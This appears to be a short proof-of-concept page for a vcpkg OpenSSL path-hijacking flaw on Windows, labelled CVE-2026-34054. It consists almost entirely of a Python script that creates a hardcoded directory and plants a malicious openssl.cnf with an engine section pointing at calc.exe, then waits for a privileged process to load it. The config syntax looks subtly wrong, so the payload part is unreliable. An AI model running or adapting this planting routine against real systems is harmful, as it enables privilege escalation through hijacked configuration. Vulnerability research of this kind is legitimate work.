CVE-2026-34054 vcpkg Windows OpenSSL路径劫持漏洞

# CVE-2026-34054 PoC Concept # This script demonstrates the potential exploitation path. # Attackers would create a malicious config at the hardcoded path. import os # The hardcoded path from the build machine (example) # In a real scenario, this path is extracted from the vcpkg binary class VulnerablePath: def __init__(self, path): self.path = path def check_vulnerability(self): # Check if the path exists or is writable if os.path.exists(self.path): print(f"[+] Path exists: {self.path}") else: print(f"[*] Path does not exist, attempting to create: {self.path}") try: os.makedirs(self.path, exist_ok=True) print(f"[+] Successfully created directory structure.") except Exception as e: print(f"[-] Failed to create directory: {e}") return False return True def exploit(self): if self.check_vulnerability(): # Simulate planting a malicious openssl.cnf malicious_config = "openssl_conf = default_conf\n[default_conf]\nengines = engine_section\n[engine_section]\npayload = payload_section\n[payload_section]\nengine_id = malicious\ninit = C:\\windows\\system32\\calc.exe\n" config_path = os.path.join(self.path, "openssl.cnf") try: with open(config_path, "w") as f: f.write(malicious_config) print(f"[+] Successfully planted malicious configuration at {config_path}") print("[*] Wait for a privileged process to load OpenSSL...") except Exception as e: print(f"[-] Failed to write payload: {e}") # Usage # attacker = VulnerablePath("C:\\build-machine-ssl-path") # attacker.exploit()